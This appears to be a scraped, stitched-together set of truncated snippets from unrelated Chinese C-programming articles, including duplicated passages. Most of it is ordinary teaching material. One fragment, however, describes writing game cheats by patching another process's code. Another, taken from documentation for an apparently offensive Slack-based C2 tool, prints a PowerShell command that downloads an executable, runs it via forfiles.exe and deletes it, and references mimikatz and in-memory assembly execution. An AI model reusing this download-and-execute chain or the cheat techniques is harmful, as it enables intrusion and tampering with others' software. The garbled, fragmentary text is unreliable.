用C语言写PHP扩展 1:预定义 在home目录,也可以其他任意目录,写一个文件,例如caleng_module.def 内容是你希望定义的函数名以及参数: int a(int x,int y)...comment is aligned: [ --enable-caleng_module Enable caleng_module support]) 4:修改caleng_module.c...6:到php的对应extensions目录 如上图所示 #cd /usr/local/php/lib/php/extensions/no-debug-non-zts-20100525/ 改目录下有生成的...================================= 下面是原文 Linux下用C开发PHP扩展 一、首先下载PHP源码包,假设源码包目录为:/software/php-5.2.13...: #> vim /software/php-5.2.13/ext/caleng_module/caleng_module.c PHP_FUNCTION(a) { int x, y, z;
1.C 文件 #include #include extern int sun(int a, int b) { return a + b; ...} 2 GO调用实例 package main // #include "c_fun.h" import "C" import "fmt" func main() { ...fmt.Println("go call c: 3+4=", C.sun(3, 4)) } 3,说明 输出:go call c: 3+4= 7 c_fun.h是标准的C,声明一个sun函数...在go文件中,#include要放在注释里; 还有import "C",要单独成一行。
/* 基本数据结构的定义以及函数的声明 */ typedef int ElemType; typedef struct Node { ElemType elem; struct Node...createNode(ElemType x); void showList(ForwardList lst); void destroyList(ForwardList lst); // 创建元素为x的节点并插入到节点...where后面 // 若where为NULL, 则插入到链表lst的首部作为首节点 // 返回新节点的指针 NodePtr insertAfterNode(NodePtr where, ElemType...x, ForwardList lst); /* 链表相关函数的具体实现 */ NodePtr createNode(ElemType x) { NodePtr pNode =
C标准库中生成伪随机数的是rand函数,使用这个函数需要包含头文件stdlib.h,它没有参数,返回值是一个介于0和RAND_MAX之间的接近均匀分布的整数。...RAND_MAX是该头文件中定义的一个常量,在不同的平台上有不同的取值,但可以肯定它是一个非常大的整数。...通常我们用到的随机数是限定在某个范围之中的,例如限定在某个范围之中的,例如0~9,而不是0~RAND_MAX,我们可以用%运算符将rand函数的返回值处理一下:int x = rand() % 10;...上述的伪随机数虽然在分布上是相对均匀的,但是存在一个缺点:每次运行的结果一样。...这样有很大的缺陷,因此,C标准库允许我们自己指定一个初值,然后在此基础上生成伪随机数,这个初值称为Seed,可以用srand函数指定Seed。
1.题目叙述 计算 1/1 - 1/2 + 1/3 - 1/4 + 1/5 - … + 1/99 - 1/100 的值,并打印出结果,(注:除法分为整数除法和 浮点数除法,要计算出⼩数,得采⽤浮点数除法...,浮点数除法的操作数中⾄少要保证有⼀个浮点 数。)...最后,我们就可以得到所求的 结果。
这是来自我的星球的一个提问:“C语言本身用什么语言写的?” 换个角度来问,其实是:C语言在运行之前,得编译才行,那C语言的编译器从哪里来? 用什么语言来写的?...汇编语言的问题解决了,就往前迈进了一大步,这时候就可以用汇编语言去写C语言的编译器,我们说这是C编译器的老祖宗。 有了这个老祖宗,就可以编译任意的C语言程序了,那是不是可以用C语言本身写一个编译器?...OK, 这么一层层上来,终于得到了一个用C语言写的编译器, 真是够麻烦的。 到这个时候,之前那个汇编写的C语言编译器就可以抛弃了。...虽然这个XCodeGhost和Thompson的后面相比差得远,但是提醒我们,下载软件的时候要走正规渠道,从官方网站下载,认准网站的HTTPS标准,甚至可以验证一下checksum。...那C1这个语言的编译器由谁来写? 自然是C0。 等到C1可以工作了,再次扩展语言特性,用C1写编译器,得到C2。 然后是C3, C4...... 最后得到完整的C语言。
“C语言本身用什么语言写的?” 换个角度来问,其实是:C语言在运行之前,得编译才行,那C语言的编译器从哪里来? 用什么语言来写的?如果是用C语言本身来写的,到底是先有蛋还是先有鸡?...汇编语言的问题解决了,就往前迈进了一大步,这时候就可以用汇编语言去写C语言的编译器,我们说这是C编译器的老祖宗。 有了这个老祖宗,就可以编译任意的C语言程序了,那是不是可以用C语言本身写一个编译器?...OK, 这么一层层上来,终于得到了一个用C语言写的编译器, 真是够麻烦的。 到这个时候,之前那个汇编写的C语言编译器就可以抛弃了。...虽然这个XCodeGhost和Thompson的后面相比差得远,但是提醒我们,下载软件的时候要走正规渠道,从官方网站下载,认准网站的HTTPS标准,甚至可以验证一下checksum。...那C1这个语言的编译器由谁来写? 自然是C0。 等到C1可以工作了,再次扩展语言特性,用C1写编译器,得到C2。 然后是C3, C4...... 最后得到完整的C语言。
现在,我们已经将strstr函数的作用大概了解了一下,下面开始函数的模拟实现。...strstr – C++ Reference (cplusplus.com) ---- 思路 接下来,我们分析实现思路 1.用while循环将*s1与*s2进行比较,由图可见,*s1开始并不相等,所以...,需要回到原来的位置。...当s2指向’\0’时,表示在”abccdef”中找到了”cde“,那么就返回p指向的地址。...如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
1.从语言特点来说 ①C语言有出色的可移植性,能在多种不同体系结构的软/硬平台上运行。...②简洁紧凑,使用灵活的语法机制,并能直接访问硬件能够直接访问硬件的语言有:汇编和 C语言 汇编属于低级语言,难以完成一些复杂的功能,但是汇编比C语言访问硬件的效率更高。...所以,一般将硬件初始化的工作交给汇编,比较复杂的操作交给C语言。 ③C语言具有很高的运行效率。...2.嵌入式开发中的地位——开发工具 3.高级语言中的低级语言:面向过程VS面向对象 面向过程: “面向过程”(Procedure Oriented)是一种以过程为中心的编程思想。...最后,C语言也有他自身的缺陷,比如代码的复用性差,代码的维护性差,扩展性(新增代码时不改变原来的代码)很差。
前言 main函数是程序执行自定义的第一个函数。从开始学习C语言到现在,我们似乎看到了很多个版本的main函数,那么哪一种才是正确的呢?我们先来看看目前有哪些版本。...main函数版本 第一种,没有返回值,没有入参: main() 在C89标准中,这种写法是可以接受的,但使用现在的编译器编译时,会报告警,并且会将其返回值默认为int。...真相大白 C89/C99/C11标准文档中只提供了两种main函数的写法: int main(void) { /* ... */ } int main(int argc, char *argv[])...当然对于带参数的写法,其参数名可自定义。另外对于除标准提供的以外的写法,不同的编译器有不同的处理策略,有的可能编译不过,有的可能报警告,但一个“正经”的编译器是不会对标准提供的形式产生质疑的。...总结 至此,我们已经知道了c语言main函数的写法,我们来总结一下前面的内容: C标准只提供了两种main的形式,即前面提到的第三种和第五种。 为了代码的通用可移植性,建议采用标准提供的形式。
1.从语言特点来说 ①C语言有出色的可移植性,能在多种不同体系结构的软/硬平台上运行。...②简洁紧凑,使用灵活的语法机制,并能直接访问硬件能够直接访问硬件的语言有:汇编和 C语言 汇编属于低级语言,难以完成一些复杂的功能,但是汇编比C语言访问硬件的效率更高。...所以,一般将硬件初始化的工作交给汇编,比较复杂的操作交给C语言。 ③C语言具有很高的运行效率。 2.嵌入式开发中的地位——开发工具 3.高级语言中的低级语言:面向过程VS面向对象 ?...可以说面向过程是一种基础的方法,它考虑的是实际地实现。一般的面向过程是从上往下步步求精,所以面向过程最重要的是模块化的思想方法。 面向对象: 面向对象的分析根据抽象关键的问题域来分解系统。...最后,C语言也有他自身的缺陷,比如代码的复用性差,代码的维护性差,扩展性(新增代码时不改变原来的代码)很差。
int score; }student[20]; //student[i].xuehao; //student[i].name; //student[i].score; int color(int c)...//颜色函数 { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),c); //更改文字颜色 return 0; } void...input(struct student *p)//学生信息输入 { int i; printf("学生信息输入\n"); printf("请输入学生的实际人数:"); scanf("%d",...&n);//输入最大人数 printf("请输入学生的学号 姓名 成绩:"); for(i=0;i<n;i++)//输入每一个学生的学号,名字,成绩 { scanf("%d %s %d",&p...:"); scanf("%d",&number); for(i=0;i<n;i++) { if(p[i].xuehao==number) { printf("%s的信息是你要删除的吗
坊间传闻高手都喜欢用记事本写代码,那么问题来了,我们以C语言为例,如何用记事本编译运行呢?...其实最简单的方式就是安装GCC编译器,在记事本编写C语言程序,然后再在命令行用GCC编译运行,下面我简单介绍一下实现过程,感兴趣的朋友可以尝试一下: 安装GCC编译器 这里推荐直接安装MinGW,一个集成编译调试工具...,集成了常见的GCC、G++、GDB等命令,可以轻松编译运行C语言程序。...下载的话,直接到官网上下载即可,一个exe文件,直接双击安装就行,安装后主目录如下,这里需要将bin目录添加到环境变量中,后面在cmd窗口就可以直接使用GCC命令编译C语言程序: 打开cmd窗口,输入...exe程序,可以直接运行: 至此,我们就完成了记事本C语言程序的编译和运行。
一、先说一下写一个外挂需要什么条件 1、熟练的C语言知识 目前的外挂大部分都是用BC或者是vc写的,拥有熟练的C语言知识是写外挂的基本条件 2、具有很强的汇编基础 一般游戏都不可能有原代码的,必须*反汇编或者跟踪的办...法来探索其中的机理 ,所以有强的汇编基础也是必不可少的条件 3、熟练掌握跟踪和调试的工具 有了上面2个条件后,掌握一些工具也是很有必要的 跟踪的工具。...如果你不具有上面的条件,还是先把基础打好,再来写外挂吧,一分耕耘,一分收获,天下没有白掉的馅饼的 二、写外挂面临的基本技术问题 1、修改进程的执行代码 要修改进程的执行代码,要先取得进程的ID,如果是由外挂程序启动...是往那个位置写条能造成例外的指令,比如int 3,然后用DebugActiveProcess调试游戏进程,这样每当游戏执行到那个位置的时候,就会停下来,到外挂程序里面去,等外挂程序处理完以后,用ContinueDebugEvent...小编推荐一个学C语言/C++的学习裙【 六二七,零一二,四六四 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!
telnet.c #include #include #include #include #include...} } } close(sock); exit(0); } 编译方法: gcc -o telnet telnet.c
各位,C语言中的main函数大家都再熟悉不过了,这是你学习C语言首先就要学习的东西,但是我看过很多人写的代码包括我们的一些读者在main函数的写法方面版本很多,今天就跟大家聊一聊main函数到底应该怎么写的问题...查了C89/C99/C11相关文档,都没有提到任何这种写法的痕迹,我见过最多的写法就是这种,不清楚为什么有这么多初学者这么写。严格来说返回值为void是不正确的。...这么写的人也不少,不过有一点要提醒一下大家:虽然声明没有参数,但是实际调用却可以传参,关于这个知识点就不多讲了,有疑问的可以留言我们私下交流。...其实官方标准已经给出了这个问题的答案,C89/C99/C11标准文档中只提供了以下两种main函数的写法: int main(void) int main(int argc, char *argv[]...大家还是要在标准规矩内行事,毕竟畏法度者最自由,写代码如此,其他方面也是如此,好了,就讲这么多吧。 各位,main函数怎么写你现在明白了吗?
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe.../c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe 这将执行InvokeWebRequest(PS v.3 +)...传输加密外,命令输出和下载的文件都是AES加密的。.../go-mimikatz 3.在内存中执行C#程序集 - https://github.com/lesnuages/go-execute-assembly 4.源代码混淆https://github.com...可伸缩性受Slack API的限制。如果您有多个代理,请考虑增加未使用的信标的信标间隔。 它是否容易受到标准信标分析的影响? 目前,每个信标都内置了20%的抖动,并且可以定制信标时间。
先上程序,该程序经过测试能够很好的实现写日志要求 /************************************************************************* >...File Name: log.c > Author: ************************************************************************...: 时间 + 空格 + 具体实现(自己的调试内容) 本段程序值得学习的地方: va_list 结构体的使用 linux 的格式化输出字符串 文件操作过程中pthread_mutex锁的使用,以及他的优点...linux DEBUG 的应用,方便调试 linux如何查看日志: 使用tail 命令可以实现日志的查询,以及其他功能,不了解的话,自行查资料解决。...对上面应用不明白的请自行查资料解决。
本文目录 贪吃蛇设计思想 贪吃蛇设计思想 要求: 1.学完C语言大部分基础知识 2.能坚持看完本文 3.本文发布的只是思想,详细代码请关注本博客下一篇文章(要等博主自己写完哦) 目的: 1.学了一年C语言...,也是博主对自己的一次考验吧 2.激发广大网友对编程的兴趣(能帮到大家是我的荣幸) 3.增加网站收录量,提升网站排名 ---- 程序功能介绍 贪吃蛇游戏是一个经典小游戏,深受众多玩家喜爱,其规则是:一条蛇在封闭围墙里...设计思路 贪吃蛇游戏设计的虽然总体分为开始、运行、结束三个过程,但其内部程序非常之复杂具体包括开始时的状态,游戏进行中如果得分其分数的累加程序的设计,当玩家游戏结束时所出现的音频及图片效果等设计的程序主要包括主函数...,这时由于没有庆平的原因,原来蛇的位置和新蛇的位置差一个单位,所以看起来就像多一节身体,所以将蛇的最后一节用背景色覆盖。...食物的出现和消失也是由画矩形块和覆盖矩形块所覆盖。这样一个贪吃蛇游戏程序在所学的C语言知识下便设计成功。
C语言天才!想法奇异?还是逼格满满?一份国外C语言写的传奇简历 作者用代码更新了自己的简历,是不是很接地气,特符合程序员的逼格。这是一份可读可执行的语言源文件,也是作者编码风格的体现。...C语言源码(看不懂可以直接跳过) 运行效果 原效果:(看不懂转下) 翻译后 点评 1.从简历中可以看出,编码者代码规范,具有优良的编码风格和习惯。值得学习。...2.从简历中可以看出,编码者对C语言极大部分知识 :字符串,结构体,共用体等知识掌握的娴熟有余。...3.从简历中可以看出,编码者对格式要求把握的得体,无论简历排版还是简历内容,说明编码者具有严谨思维与缜密的分析能力。 综上:这份简历很接地气,符合程序员的逼格。...这是一份可读可执行的语言源文件,也是作者编码风格的体现。 每日鸡汤
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